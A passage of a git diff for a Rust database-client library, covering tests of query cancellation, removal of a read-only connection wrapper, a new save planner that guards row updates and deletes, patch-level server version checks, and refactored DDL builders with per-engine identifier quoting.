Err(cancelled_by_server())) + }, + ) + .await; + + assert!(matches!(answer, Err(DriverError::Cancelled)), "got {answer:?}"); + assert_eq!( + settled.load(Ordering::SeqCst), + 1, + "the connection went back while a stop naming it was still out" + ); + assert!( + started.elapsed() >= stop_takes, + "the call returned before its stop settled" + ); + assert!( + !discarded.load(Ordering::SeqCst), + "a connection whose stop was acknowledged and settled was thrown away" + ); + } + + #[tokio::test(start_paused = true)] + async fn statement_scope_releases_immediately() { + let calls = OwnedCalls::new(Duration::from_secs(5)); + let (connection, _abandon, discarded) = Connection::new(); + let stop_takes = Duration::from_millis(200); + let (engine, sent, _settled) = Engine::taking(StopDelivery::OutOfBand(StopScope::Statement), stop_takes); + let cancel = CancellationToken::new(); + cancel_after(&cancel, Duration::from_millis(10)); + let started = Instant::now(); + + let answer = calls + .run_read::<_, _, u8, _, _>( + options(None, &cancel), + connection, + engine, + |resource, stop| async move { + stop.requested().await; + (resource, Err(cancelled_by_server())) + }, + ) + .await; + + assert!(matches!(answer, Err(DriverError::Cancelled)), "got {answer:?}"); + assert_eq!(sent.load(Ordering::SeqCst), 1, "the engine's own stop was not sent"); + assert!( + started.elapsed() < stop_takes, + "a stop that names only the statement held the connection back" + ); + assert!( + !discarded.load(Ordering::SeqCst), + "a statement-scoped stop discarded the connection" + ); + } + + #[tokio::test(start_paused = true)] + async fn in_band_delivery_cancels_stop_request_and_never_calls_stop() { + let calls = OwnedCalls::new(Duration::from_secs(5)); + let (connection, _abandon, discarded) = Connection::new(); + let (engine, sent) = Engine::new(StopDelivery::InBand); + let cancel = CancellationToken::new(); + cancel_after(&cancel, Duration::from_millis(10)); + + let answer = calls + .run_read( + options(None, &cancel), + connection, + engine, + |resource, stop| async move { + stop.requested().await; + (resource, Ok(stop.reason())) + }, + ) + .await; + + assert_eq!( + answer.ok().flatten(), + Some(StopReason::Cancelled), + "the work never saw why it was stopped" + ); + assert_eq!( + sent.load(Ordering::SeqCst), + 0, + "an in-band engine was sent an out-of-band stop" + ); + assert!(!discarded.load(Ordering::SeqCst)); + } + #[tokio::test] async fn a_call_that_finishes_gives_its_answer_and_keeps_the_connection() { let calls = OwnedCalls::new(Duration::from_secs(1)); diff --git a/linux/crates/core/src/query.rs b/linux/crates/core/src/query.rs deleted file mode 100644 index 9afc040a2c..0000000000 --- a/linux/crates/core/src/query.rs +++ /dev/null @@ -1,41 +0,0 @@ -use serde::{Deserialize, Serialize}; - -#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)] -pub struct TableInfo { - pub schema: Option, - pub name: String, -} - -/// Secondary-index metadata for a table. `primary` is set on the -/// auto-PK index returned by the catalog query so the UI can render -/// it as read-only (the PK is owned by the column definition, not -/// by an editable index entry). -#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)] -pub struct IndexInfo { - pub name: String, - pub columns: Vec, - pub unique: bool, - pub primary: bool, -} - -/// Foreign-key constraint metadata. `on_delete` / `on_update` carry -/// the referential action as a normalised SQL keyword string -/// ("RESTRICT", "CASCADE", "SET NULL", "SET DEFAULT", "NO ACTION"). -/// `None` means the driver returned a value we don't recognise — the -/// UI displays it as a dim-label "—" and the DDL builder omits the -/// clause so the database picks its default. -#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)] -pub struct ForeignKeyInfo { - pub name: String, - pub columns: Vec, - pub ref_schema: Option, - pub ref_table: String, - pub ref_columns: Vec, - pub on_delete: Option, - pub on_update: Option, -} - -#[derive(Debug, Clone, Copy)] -pub struct ExecResult { - pub rows_affected: u64, -} diff --git a/linux/crates/core/src/query_result.rs b/linux/crates/core/src/query_result.rs index 2f3e2bfff8..bc21792f27 100644 --- a/linux/crates/core/src/query_result.rs +++ b/linux/crates/core/src/query_result.rs @@ -53,18 +53,21 @@ impl QueryResult { #[cfg(test)] mod tests { use super::*; - use crate::column::{CatalogType, ColumnKind, ColumnType, IntegerKind, ReadForm, SqlTypeExpr}; + use crate::column::{ColumnKind, ColumnType, IntegerKind, IntegerWidth, ReadForm}; fn columns() -> Vec { vec![ResultColumn::new( "id", - ColumnType::new( - SqlTypeExpr::from_catalog_text("integer"), - ColumnKind::Integer(IntegerKind::I32), - CatalogType::Oid(23), - false, - ReadForm::Native, - ), + ColumnType { + name: "integer".to_owned(), + kind: ColumnKind::Integer(IntegerKind { + width: IntegerWidth::W32, + signed: true, + }), + catalog: None, + dynamic_storage: false, + read_form: ReadForm::Native, + }, )] } diff --git a/linux/crates/core/src/read_only.rs b/linux/crates/core/src/read_only.rs deleted file mode 100644 index a929bf3388..0000000000 --- a/linux/crates/core/src/read_only.rs +++ /dev/null @@ -1,170 +0,0 @@ -use async_trait::async_trait; - -use crate::column::ColumnInfo; -use crate::connection::Connection; -use crate::error::DriverError; -use crate::query::{ExecResult, ForeignKeyInfo, IndexInfo, TableInfo}; -use crate::query_result::QueryResult; -use crate::read_only_refusal::ReadOnlyRefusal; -use crate::value::Value; - -pub struct ReadOnlyConnection { - inner: Box, -} - -impl ReadOnlyConnection { - pub fn wrap(inner: Box) -> Box { - Box::new(Self { inner }) - } -} - -#[async_trait] -impl Connection for ReadOnlyConnection { - async fn list_tables(&self) -> Result, DriverError> { - self.inner.list_tables().await - } - - async fn fetch_columns(&self, schema: Option<&str>, table: &str) -> Result, DriverError> { - self.inner.fetch_columns(schema, table).await - } - - async fn fetch_rows( - &self, - schema: Option<&str>, - table: &str, - offset: u64, - limit: u64, - ) -> Result { - self.inner.fetch_rows(schema, table, offset, limit).await - } - - async fn query(&self, sql: &str) -> Result { - self.inner.query(sql).await - } - - async fn query_params(&self, sql: &str, params: &[Value]) -> Result { - // Read-only: filter SELECTs are still safe; pass through. - self.inner.query_params(sql, params).await - } - - async fn execute(&self, _sql: &str) -> Result { - Err(DriverError::ReadOnly(ReadOnlyRefusal::ClientGuard)) - } - - async fn execute_params(&self, _sql: &str, _params: &[Value]) -> Result { - Err(DriverError::ReadOnly(ReadOnlyRefusal::ClientGuard)) - } - - async fn execute_in_transaction(&self, _statements: &[(String, Vec)]) -> Result, DriverError> { - Err(DriverError::ReadOnly(ReadOnlyRefusal::ClientGuard)) - } - - async fn fetch_indexes(&self, schema: Option<&str>, table: &str) -> Result, DriverError> { - self.inner.fetch_indexes(schema, table).await - } - - async fn fetch_foreign_keys(&self, schema: Option<&str>, table: &str) -> Result, DriverError> { - self.inner.fetch_foreign_keys(schema, table).await - } - - async fn ping(&self) -> Result<(), DriverError> { - self.inner.ping().await - } - - async fn close(self: Box) -> Result<(), DriverError> { - self.inner.close().await - } -} - -#[cfg(test)] -mod tests { - use super::*; - use std::sync::Mutex; - - struct FakeConn { - list_calls: Mutex, - execute_calls: Mutex, - } - - #[async_trait] - impl Connection for FakeConn { - async fn list_tables(&self) -> Result, DriverError> { - *self.list_calls.lock().unwrap() += 1; - Ok(vec![TableInfo { - schema: None, - name: "t".into(), - }]) - } - async fn fetch_columns(&self, _: Option<&str>, _: &str) -> Result, DriverError> { - Ok(vec![]) - } - async fn fetch_rows(&self, _: Option<&str>, _: &str, _: u64, _: u64) -> Result { - Ok(QueryResult { - columns: std::sync::Arc::from([]), - rows: vec![], - truncated: false, - }) - } - async fn query(&self, _: &str) -> Result { - Ok(QueryResult { - columns: std::sync::Arc::from([]), - rows: vec![], - truncated: false, - }) - } - async fn execute(&self, _: &str) -> Result { - *self.execute_calls.lock().unwrap() += 1; - Ok(ExecResult { rows_affected: 1 }) - } - async fn execute_params(&self, _: &str, _: &[Value]) -> Result { - *self.execute_calls.lock().unwrap() += 1; - Ok(ExecResult { rows_affected: 1 }) - } - async fn execute_in_transaction(&self, _: &[(String, Vec)]) -> Result, DriverError> { - *self.execute_calls.lock().unwrap() += 1; - Ok(vec![]) - } - async fn ping(&self) -> Result<(), DriverError> { - Ok(()) - } - async fn close(self: Box) -> Result<(), DriverError> { - Ok(()) - } - } - - #[tokio::test] - async fn reads_pass_through() { - let inner = Box::new(FakeConn { - list_calls: Mutex::new(0), - execute_calls: Mutex::new(0), - }); - let wrapped = ReadOnlyConnection::wrap(inner); - let tables = wrapped.list_tables().await.unwrap(); - assert_eq!(tables.len(), 1); - } - - #[tokio::test] - async fn execute_returns_read_only_error() { - let inner = Box::new(FakeConn { - list_calls: Mutex::new(0), - execute_calls: Mutex::new(0), - }); - let wrapped = ReadOnlyConnection::wrap(inner); - let err = wrapped.execute("DELETE FROM t").await.unwrap_err(); - assert!(matches!(err, DriverError::ReadOnly(ReadOnlyRefusal::ClientGuard))); - } - - #[tokio::test] - async fn execute_params_returns_read_only_error() { - let inner = Box::new(FakeConn { - list_calls: Mutex::new(0), - execute_calls: Mutex::new(0), - }); - let wrapped = ReadOnlyConnection::wrap(inner); - let err = wrapped - .execute_params("UPDATE t SET x = ?", &[Value::Int(1)]) - .await - .unwrap_err(); - assert!(matches!(err, DriverError::ReadOnly(ReadOnlyRefusal::ClientGuard))); - } -} diff --git a/linux/crates/core/src/read_statement.rs b/linux/crates/core/src/read_statement.rs new file mode 100644 index 0000000000..f63373fd16 --- /dev/null +++ b/linux/crates/core/src/read_statement.rs @@ -0,0 +1,13 @@ +use crate::statement::Statement; +use crate::user_sql::UserSql; + +/// What a streamed read runs. +/// +/// Generated SQL arrives with its parameters already bound, and the +/// user's own SQL arrives as typed, so a driver never has to guess +/// which one it was handed. +#[derive(Debug, Clone, PartialEq)] +pub enum ReadStatement { + Generated(Statement), + User(UserSql), +} diff --git a/linux/crates/core/src/save/mod.rs b/linux/crates/core/src/save/mod.rs index 8eca59da4f..0f5f9778d2 100644 --- a/linux/crates/core/src/save/mod.rs +++ b/linux/crates/core/src/save/mod.rs @@ -2,8 +2,10 @@ mod change_origin; mod change_set; +mod plan_save; mod save_plan; pub use change_origin::ChangeOrigin; pub use change_set::{ChangeSet, RowInsert, RowUpdate}; +pub use plan_save::plan_save; pub use save_plan::SavePlan; diff --git a/linux/crates/core/src/save/plan_save.rs b/linux/crates/core/src/save/plan_save.rs new file mode 100644 index 0000000000..a175c26ad0 --- /dev/null +++ b/linux/crates/core/src/save/plan_save.rs @@ -0,0 +1,299 @@ +use crate::column::ColumnInfo; +use crate::dialect::SqlDialect; +use crate::dml::{BuildSqlError, build_delete, build_insert, build_key_probe, build_update}; +use crate::foreign_key_mode::ForeignKeyMode; +use crate::meta::{RowIdentity, TableRef}; +use crate::statement::{GuardedStatement, RowGuard, Statement}; +use crate::value::Value; +use crate::write_batch::{WriteBatch, WriteKind}; + +use super::{ChangeOrigin, ChangeSet, SavePlan}; + +/// The batch that writes what the user changed, inserts first, then +/// updates, then deletes. +/// +/// Every update and delete carries a guard that proves it touched +/// exactly the row it names, chosen by how far the key and the engine's +/// counts can be trusted: +/// - a unique key on an engine with exact counts: the affected count; +/// - a unique key elsewhere: a probe, because SQL Server adds the rows +/// its triggers touch to the count; +/// - an engine row id: the affected count, since the address is unique; +/// - a sorting key: a probe, because it can match several rows. +pub fn plan_save( + dialect: &dyn SqlDialect, + table: &TableRef, + columns: &[ColumnInfo], + identity: &RowIdentity, + changes: &ChangeSet, +) -> Result { + let mut steps = Vec::with_capacity(changes.step_count()); + let mut origins = Vec::with_capacity(changes.step_count()); + + for (index, insert) in changes.inserts.iter().enumerate() { + let statement = build_insert(dialect, table, columns, &insert.cells)?; + steps.push(GuardedStatement::unguarded(statement)); + origins.push(ChangeOrigin::Insert(index)); + } + for (index, update) in changes.updates.iter().enumerate() { + let statement = build_update(dialect, table, columns, identity, &update.key, &update.assignments)?; + steps.push(guarded(dialect, table, columns, identity, &update.key, statement)?); + origins.push(ChangeOrigin::Update(index)); + } + for (index, key) in changes.deletes.iter().enumerate() { + let statement = build_delete(dialect, table, columns, identity, key)?; + steps.push(guarded(dialect, table, columns, identity, key, statement)?); + origins.push(ChangeOrigin::Delete(index)); + } + + Ok(SavePlan { + batch: WriteBatch::new(WriteKind::RowChanges, table.clone(), steps, ForeignKeyMode::Enforced), + origins, + }) +} + +fn guarded( + dialect: &dyn SqlDialect, + table: &TableRef, + columns: &[ColumnInfo], + identity: &RowIdentity, + key: &[Value], + statement: Statement, +) -> Result { + let counts_are_proof = match identity { + RowIdentity::UniqueKey { .. } => dialect.capabilities().exact_row_counts, + RowIdentity::EngineRowId(_) => true, + RowIdentity::SortingKey { .. } => false, + RowIdentity::Unordered => return Err(BuildSqlError::ReadOnlyRows), + }; + if counts_are_proof { + return Ok(GuardedStatement::affecting_exactly(statement, 1)); + } + Ok(GuardedStatement { + statement, + guard: RowGuard::ProbeExactly { + probe: build_key_probe(dialect, table, columns, identity, key)?, + rows: 1, + }, + }) +} + +#[cfg(test)] +mod tests { + use crate::column::{ColumnDefault, ColumnKind, ColumnType, IntegerKind, IntegerWidth, ReadForm, TextLength}; + use crate::dialect::TestDialect; + use crate::edit::CellInput; + use crate::meta::EngineRowId; + use crate::save::{RowInsert, RowUpdate}; + + use super::*; + + fn column(name: &str, kind: ColumnKind) -> ColumnInfo { + ColumnInfo { + name: name.to_owned(), + column_type: ColumnType { + name: "t".to_owned(), + kind, + catalog: None, + dynamic_storage: false, + read_form: ReadForm::Native, + }, + nullable: true, + primary_key: false, + is_auto_increment: false, + is_generated: false, + default: ColumnDefault::None, + comment: None, + } + } + + fn columns() -> Vec { + vec![ + column( + "id", + ColumnKind::Integer(IntegerKind { + width: IntegerWidth::W64, + signed: true, + }), + ), + column( + "name", + ColumnKind::Text { + length: TextLength::Unbounded, + }, + ), + ] + } + + fn table() -> TableRef { + TableRef::unqualified("users") + } + + fn by_id() -> RowIdentity { + RowIdentity::UniqueKey { + columns: vec!["id".to_owned()], + } + } + + fn one_of_each(key: Value) -> ChangeSet { + ChangeSet { + inserts: vec![RowInsert { + cells: vec![CellInput::Default, CellInput::Value(Value::Text("new".to_owned()))], + }], + updates: vec![RowUpdate { + key: vec![key.clone()], + assignments: vec![(1, Value::Text("renamed".to_owned()))], + }], + deletes: vec![vec![key]], + } + } + + fn plan(dialect: &TestDialect, identity: &RowIdentity, changes: &ChangeSet) -> SavePlan { + match plan_save(dialect, &table(), &columns(), identity, changes) { + Ok(plan) => plan, + Err(error) => panic!("the save did not plan: {error}"), + } + } + + fn guard_kind(guard: &RowGuard) -> &'static str { + match guard { + RowGuard::None => "none", + RowGuard::AffectedExactly(1) => "affected", + RowGuard::AffectedExactly(_) => "affected-other", + RowGuard::ProbeExactly { rows: 1, .. } => "probe", + RowGuard::ProbeExactly { .. } => "probe-other", + } + } + + #[test] + fn plan_save_guard_table() { + let sorting = RowIdentity::SortingKey { + expressions: vec!["id".to_owned()], + }; + let rowid = RowIdentity::EngineRowId(EngineRowId::SqliteRowid); + // (identity, exact counts, guard on the update and delete) + let cases = [ + (by_id(), true, "affected"), + (by_id(), false, "probe"), + (rowid.clone(), true, "affected"), + (rowid, false, "affected"), + (sorting.clone(), true, "probe"), + (sorting, false, "probe"), + ]; + + for (identity, exact, expected) in cases { + let dialect = match exact { + true => TestDialect::exact(), + false => TestDialect::estimated(), + }; + let plan = plan(&dialect, &identity, &one_of_each(Value::Int(7))); + let guards: Vec<_> = plan.batch.steps.iter().map(|step| guard_kind(&step.guard)).collect(); + + assert_eq!( + guards, + vec!["none", expected, expected], + "{identity:?} exact_row_counts = {exact}" + ); + } + } + + #[test] + fn an_engine_without_exact_counts_never_gets_a_count_guard_on_a_key_it_cannot_trust() { + let sorting = RowIdentity::SortingKey { + expressions: vec!["id".to_owned()], + }; + + for identity in [by_id(), sorting] { + let plan = plan(&TestDialect::estimated(), &identity, &one_of_each(Value::Int(7))); + + assert!( + plan.batch + .steps + .iter() + .all(|step| !matches!(step.guard, RowGuard::AffectedExactly(_))), + "{identity:?}" + ); + } + } + + #[test] + fn a_probe_names_the_same_row_as_its_statement() { + let plan = plan(&TestDialect::estimated(), &by_id(), &one_of_each(Value::Int(7))); + + let Some((probe, rows)) = plan.batch.steps[1].guard.probe() else { + panic!("the update has no probe"); + }; + assert_eq!(rows, 1); + assert_eq!( + probe.sql(), + r#"SELECT COUNT(*) FROM (SELECT 1 AS one FROM "users" WHERE "id" = $1 LIMIT 2) AS probe"# + ); + assert_eq!(probe.params()[0].value(), &Value::Int(7)); + } + + #[test] + fn plan_save_origins_align_with_steps() { + let changes = ChangeSet { + inserts: vec![ + RowInsert { + cells: vec![CellInput::Default, CellInput::Value(Value::Text("a".to_owned()))], + }, + RowInsert { + cells: vec![CellInput::Default, CellInput::Value(Value::Text("b".to_owned()))], + }, + ], + updates: vec![RowUpdate { + key: vec![Value::Int(1)], + assignments: vec![(1, Value::Text("c".to_owned()))], + }], + deletes: vec![vec![Value::Int(2)], vec![Value::Int(3)]], + }; + + let plan = plan(&TestDialect::exact(), &by_id(), &changes); + + assert_eq!( + plan.origins, + vec![ + ChangeOrigin::Insert(0), + ChangeOrigin::Insert(1), + ChangeOrigin::Update(0), + ChangeOrigin::Delete(0), + ChangeOrigin::Delete(1), + ] + ); + assert_eq!(plan.origins.len(), plan.batch.steps.len()); + assert!(plan.batch.steps[0].statement.sql().starts_with("INSERT")); + assert!(plan.batch.steps[2].statement.sql().starts_with("UPDATE")); + assert!(plan.batch.steps[4].statement.sql().starts_with("DELETE")); + assert_eq!(plan.origin(4), Some(ChangeOrigin::Delete(1))); + } + + #[test] + fn plan_save_batch_is_enforced_foreign_keys() { + let plan = plan(&TestDialect::exact(), &by_id(), &one_of_each(Value::Int(7))); + + assert_eq!(plan.batch.foreign_keys, ForeignKeyMode::Enforced); + assert_eq!(plan.batch.kind, WriteKind::RowChanges); + assert_eq!(plan.batch.table, table()); + } + + #[test] + fn an_unkeyed_table_takes_inserts_but_refuses_row_changes() { + let inserts_only = ChangeSet { + inserts: one_of_each(Value::Int(7)).inserts, + ..ChangeSet::default() + }; + + let plan = plan(&TestDialect::exact(), &RowIdentity::Unordered, &inserts_only); + let refused = plan_save( + &TestDialect::exact(), + &table(), + &columns(), + &RowIdentity::Unordered, + &one_of_each(Value::Int(7)), + ); + + assert_eq!(plan.batch.len(), 1); + assert_eq!(refused, Err(BuildSqlError::ReadOnlyRows)); + } +} diff --git a/linux/crates/core/src/save/save_plan.rs b/linux/crates/core/src/save/save_plan.rs index 41d487b05a..9e0477ebd8 100644 --- a/linux/crates/core/src/save/save_plan.rs +++ b/linux/crates/core/src/save/save_plan.rs @@ -1,3 +1,5 @@ +use crate::write_batch::WriteBatch; + use super::ChangeOrigin; /// The statements a save will run, each pointing back at the change it @@ -7,12 +9,12 @@ use super::ChangeOrigin; /// order, so a failure at step 3 names the row the user edited rather /// than a statement number. #[derive(Debug, Clone, PartialEq)] -pub struct SavePlan { - pub batch: B, +pub struct SavePlan { + pub batch: WriteBatch, pub origins: Vec, } -impl SavePlan { +impl SavePlan { pub fn origin(&self, step: usize) -> Option { self.origins.get(step).copied() } diff --git a/linux/crates/core/src/server_info.rs b/linux/crates/core/src/server_info.rs index 5db5246ee1..ca0f237e86 100644 --- a/linux/crates/core/src/server_info.rs +++ b/linux/crates/core/src/server_info.rs @@ -9,22 +9,26 @@ pub struct ServerInfo { pub version: String, pub major: u32, pub minor: u32, + /// The third number, which MySQL ships features in (8.0.13, 8.0.21). + /// Zero for an engine whose version has no third number. + pub patch: u32, } impl ServerInfo { - pub fn new(product: impl Into, version: impl Into, major: u32, minor: u32) -> Self { + pub fn new(product: impl Into, version: impl Into, major: u32, minor: u32, patch: u32) -> Self { Self { product: product.into(), version: version.into(), major, minor, + patch, } } /// Whether the server is at least this version, for a feature that /// arrived in one. - pub fn at_least(&self, major: u32, minor: u32) -> bool { - (self.major, self.minor) >= (major, minor) + pub fn at_least(&self, major: u32, minor: u32, patch: u32) -> bool { + (self.major, self.minor, self.patch) >= (major, minor, patch) } } @@ -34,11 +38,20 @@ mod tests { #[test] fn a_version_gate_compares_minor_versions_too() { - let server = ServerInfo::new("PostgreSQL", "16.2", 16, 2); + let server = ServerInfo::new("PostgreSQL", "16.2", 16, 2, 0); - assert!(server.at_least(13, 0)); - assert!(server.at_least(16, 2)); - assert!(!server.at_least(16, 3)); - assert!(!server.at_least(17, 0)); + assert!(server.at_least(13, 0, 0)); + assert!(server.at_least(16, 2, 0)); + assert!(!server.at_least(16, 3, 0)); + assert!(!server.at_least(17, 0, 0)); + } + + #[test] + fn a_version_gate_compares_patch_versions_too() { + let server = ServerInfo::new("MySQL", "8.0.20", 8, 0, 20); + + assert!(server.at_least(8, 0, 13)); + assert!(!server.at_least(8, 0, 21)); + assert!(server.at_least(5, 7, 44), "a newer minor outranks any patch"); } } diff --git a/linux/crates/core/src/sql_ddl.rs b/linux/crates/core/src/sql_ddl.rs index 1d85c1c606..be2376bcec 100644 --- a/linux/crates/core/src/sql_ddl.rs +++ b/linux/crates/core/src/sql_ddl.rs @@ -1,9 +1,10 @@ //! DDL string builders for CREATE / ALTER / DROP TABLE, CREATE / DROP //! INDEX, ADD / DROP FOREIGN KEY across MySQL + Postgres + SQLite. //! -//! Pure SQL-string construction; no async, no I/O. Mirrors the -//! parameterised-by-`driver_id` style of `sql_dialect.rs`. All -//! identifier quoting goes through `sql_dialect::quote_ident`; type +//! Pure SQL-string construction; no async, no I/O. Keyed by +//! `driver_id` until the per-engine DDL dialects replace it; renames +//! and default drops already come from the engine's `DdlDialect`. All +//! identifier quoting goes through the engine dialect's quoting; type //! names interpolate raw because they're a syntax category, not a //! string-literal category — the worst case is a driver syntax error, //! never injection. @@ -14,9 +15,11 @@ use thiserror::Error; -use crate::column::ColumnInfo; -use crate::query::{ForeignKeyInfo, IndexInfo}; -use crate::sql_dialect::quote_ident; +use crate::column::ColumnType; +use crate::ddl::{ColumnDefinition, DdlDialect, ReferentialAction}; +use crate::dialect::SqlDialect; +use crate::foreign_key_info::ForeignKeyInfo; +use crate::meta::{IndexInfo, IndexKey, TableRef}; #[derive(Debug, Error)] pub enum BuildDdlError { @@ -58,6 +61,9 @@ pub enum BuildDdlError { #[error("invalid foreign key action: {0}")] InvalidFkAction(String), + + #[error("index {0} has an expression key or a predicate, which this builder cannot restate")] + UnrenderableIndex(String), } const MAX_TYPE_LEN: usize = 200; @@ -114,40 +120,41 @@ fn validate_safe_default(s: &str) -> Result<(), BuildDdlError> { Ok(()) } -const FK_ACTIONS: &[&str] = &["NO ACTION", "RESTRICT", "CASCADE", "SET NULL", "SET DEFAULT"]; +const FK_ACTIONS: &[ReferentialAction] = &ReferentialAction::ALL; /// T-SQL's `ON DELETE` / `ON UPDATE` grammar has no `RESTRICT`; the /// engine spells that behaviour `NO ACTION`. Emitting `RESTRICT` is a /// syntax error, so it is not an option the UI may offer either. -const FK_ACTIONS_MSSQL: &[&str] = &["NO ACTION", "CASCADE", "SET NULL", "SET DEFAULT"]; +const FK_ACTIONS_MSSQL: &[ReferentialAction] = &[ + ReferentialAction::NoAction, + ReferentialAction::Cascade, + ReferentialAction::SetNull, + ReferentialAction::SetDefault, +]; /// Referential actions the engine accepts, in the order the UI should /// present them. The first entry is the SQL default. -pub fn supported_fk_actions(driver_id: &str) -> &'static [&'static str] { +pub fn supported_fk_actions(driver_id: &str) -> &'static [ReferentialAction] { match driver_id { "mssql" => FK_ACTIONS_MSSQL, _ => FK_ACTIONS, } } -/// FK actions are a closed enum per dialect. Allow-list rather than -/// escape; case-insensitive match against the canonical strings -/// returned in upper case for emission. -fn validate_fk_action(driver_id: &str, s: &str) -> Result<&'static str, BuildDdlError> { - let upper = s.trim().to_ascii_uppercase(); - supported_fk_actions(driver_id) - .iter() - .copied() - .find(|canon| *canon == upper.as_str()) - .ok_or_else(|| BuildDdlError::InvalidFkAction(s.into())) +fn validate_fk_action(driver_id: &str, action: ReferentialAction) -> Result<&'static str, BuildDdlError> { + if supported_fk_actions(driver_id).contains(&action) { + Ok(action.as_sql()) + } else { + Err(BuildDdlError::InvalidFkAction(action.as_sql().to_owned())) + } } /// User-edited column draft. Carries both the original (loaded from -/// `fetch_columns`) and the in-flight edit. `original` is `None` for -/// newly-added columns. +/// `fetch_table_definition`) and the in-flight edit. `original` is +/// `None` for newly-added columns. #[derive(Debug, Clone, PartialEq)] pub struct DraftColumn { - pub original: Option, + pub original: Option, pub name: String, pub data_type: String, pub nullable: bool, @@ -171,12 +178,24 @@ fn default_text(default: &crate::column::ColumnDefault) -> Option { } } +/// The type a column was declared with, which is what DDL restates. +/// +/// Without a catalogue spelling it is empty, so restating the column +/// fails validation rather than splicing the display name. +fn declared_type(column_type: &ColumnType) -> &str { + column_type + .catalog + .as_ref() + .map_or("", |catalog| catalog.declaration.as_sql()) +} + impl DraftColumn { - /// Build a `DraftColumn` from a `ColumnInfo` returned by - /// `fetch_columns` so the user starts with the live state and - /// edits diff against `original`. - pub fn from_info(info: ColumnInfo) -> Self { - let data_type = info.column_type.name().as_sql().to_owned(); + /// Build a `DraftColumn` from a column of the table definition, so + /// the user starts with the live state and edits diff against + /// `original`. + pub fn from_definition(definition: ColumnDefinition) -> Self { + let info = &definition.info; + let data_type = declared_type(&info.column_type).to_owned(); let nullable = info.nullable; let primary_key = info.primary_key; let auto_increment = info.is_auto_increment; @@ -184,7 +203,7 @@ impl DraftColumn { let name = info.name.clone(); let comment = info.comment.clone(); Self { - original: Some(info), + original: Some(definition), name, data_type, nullable, @@ -207,7 +226,7 @@ impl DraftColumn { pub fn renamed(&self) -> bool { match &self.original { None => false, - Some(orig) => orig.name != self.name && !self.name.trim().is_empty(), + Some(orig) => orig.name() != self.name && !self.name.trim().is_empty(), } } @@ -217,7 +236,8 @@ impl DraftColumn { match &self.original { None => true, Some(orig) => { - orig.column_type.name().as_sql() != self.data_type + let orig = &orig.info; + declared_type(&orig.column_type) != self.data_type || orig.nullable != self.nullable || orig.primary_key != self.primary_key || orig.is_auto_increment != self.auto_increment @@ -302,6 +322,21 @@ pub enum StructureOp { }, } +/// The engine's DDL spelling, which the renames and default drops are +/// written in. +fn ddl_of<'a>(driver_id: &str, dialect: &'a dyn SqlDialect) -> Result<&'a dyn DdlDialect, BuildDdlError> { + dialect + .ddl() + .ok_or_else(|| BuildDdlError::UnsupportedDriver(driver_id.to_owned())) +} + +/// The table a builder names, trimmed the way `qualified_table` trims +/// it. +fn table_ref(schema: Option<&str>, table: &str) -> TableRef { + let schema = schema.map(str::trim).filter(|schema| !schema.is_empty()); + TableRef::new(schema.map(str::to_owned), table.trim()) +} + fn qualified_table(driver_id: &str, schema: Option<&str>, table: &str) -> String { // Trim leading / trailing whitespace before quoting so a user // who typed `" users "` doesn't end up with a literally @@ -315,6 +350,32 @@ fn qualified_table(driver_id: &str, schema: Option<&str>, table: &str) -> String } } +/// An identifier in the engine's own quotes, keyed by driver id like +/// the rest of this builder until the per-engine DDL dialects take over. +fn quote_ident(driver_id: &str, name: &str) -> String { + match driver_id { + "mysql" => format!("`{}`", name.replace('`', "``")), + "clickhouse" => quote_clickhouse_ident(name), + "mssql" => format!("[{}]", name.replace(']', "]]")), + _ => format!("\"{}\"", name.replace('"', "\"\"")), + } +} + +/// ClickHouse's lexer reads a backslash inside backticks as an escape, +/// so doubling the delimiter alone lets `\`` close the identifier early. +fn quote_clickhouse_ident(name: &str) -> String { + let mut quoted = String::with_capacity(name.len() + 2); + quoted.push('`'); + for character in name.chars() { + if matches!(character, '\\' | '\'' | '`' | '\t' | '\n') { + quoted.push('\\'); + } + quoted.push(character); + } + quoted.push('`'); + quoted +} + /// Escape a value for inclusion in a SQL string literal. Bracket /// quoting escapes `]`, not `'`, so any identifier that travels as a /// literal (`sp_rename`'s arguments, an `OBJECT_ID()` lookup) needs @@ -339,25 +400,6 @@ fn comment_value(comment: Option<&str>) -> Option<&str> { comment.filter(|text| !text.is_empty()) } -/// Drop the default constraint bound to `column`, if any. SQL Server -/// generates the constraint name, and `DROP CONSTRAINT` does not accept -/// a variable, so the name is resolved from `sys.default_constraints` -/// and applied through `EXEC`. Emitted as one batch because the -/// variable does not outlive it. -fn mssql_drop_default_constraint(driver_id: &str, schema: Option<&str>, table: &str, column: &str) -> String { - let qualified = qualified_table(driver_id, schema, table); - let table_literal = sql_literal(&qualified); - let column_literal = sql_literal(column.trim()); - format!( - "DECLARE @default_constraint sysname = (\ -SELECT dc.name FROM sys.default_constraints dc \ -JOIN sys.columns c ON c.object_id = dc.parent_object_id AND c.column_id = dc.parent_column_id \ -WHERE dc.parent_object_id = OBJECT_ID('{table_literal}') AND c.name = '{column_literal}'); \ -IF @default_constraint IS NOT NULL \ -EXEC('ALTER TABLE {table_literal} DROP CONSTRAINT [' + @default_constraint + ']')" - ) -} - /// SQL Server keeps a column description in an extended property named /// `MS_Description`, which is added, updated and dropped by three /// different procedures. Which one applies depends on whether the @@ -405,7 +447,7 @@ fn build_column_comment(driver_id: &str, schema: Option<&str>, table: &str, colu let had_comment = column .original .as_ref() - .and_then(|original| comment_value(original.comment.as_deref())) + .and_then(|original| comment_value(original.info.comment.as_deref())) .is_some(); if comment.is_none() && !had_comment { return None; @@ -440,7 +482,7 @@ fn comment_changed(column: &DraftColumn) -> bool { let original = column .original .as_ref() - .and_then(|original| comment_value(original.comment.as_deref())); + .and_then(|original| comment_value(original.info.comment.as_deref())); original != comment_value(column.comment.as_deref()) } @@ -654,24 +696,14 @@ pub fn build_drop_table( pub fn build_rename_table( driver_id: &str, + dialect: &dyn SqlDialect, schema: Option<&str>, old_name: &str, new_name: &str, ) -> Result { validate_table(old_name)?; validate_table(new_name)?; - if driver_id == "mssql" { - // sp_rename's arguments are SQL string literals, not - // identifiers, and the bare @newname isn't quoted at all. - let old_qualified = sql_literal(&qualified_table(driver_id, schema, old_name)); - let new_bare = sql_literal(new_name.trim()); - return Ok(format!("EXEC sp_rename '{}', '{}'", old_qualified, new_bare)); - } - Ok(format!( - "ALTER TABLE {} RENAME TO {}", - qualified_table(driver_id, schema, old_name), - quote_ident(driver_id, 